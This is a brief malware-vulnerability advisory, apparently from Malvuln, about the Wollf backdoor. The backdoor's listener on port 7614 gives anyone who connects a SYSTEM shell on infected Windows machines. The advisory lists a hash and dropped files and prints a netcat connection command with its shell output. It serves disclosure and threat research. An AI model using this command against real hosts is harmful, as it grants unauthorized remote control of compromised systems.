Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Wollf.h  
Vulnerability: Unauthenticated Remote Command Execution   
Description: The malware listens on TCP port 7614 installs a service named WRM. Third-party attackers who can reach the system can get a shell with SYSTEM integrity, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.  
Type: PE32  
MD5: d0fd60516d53b2ad602c460351dbaa85  
Vuln ID: MVID-2021-0340  
Dropped files: wrm.exe  
Disclosure: 09/09/2021  
nc64.exe x.x.x.x 7614  
"Wollf Remote Manager" v1.6  
Code by wollf,  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
nt authority\system  
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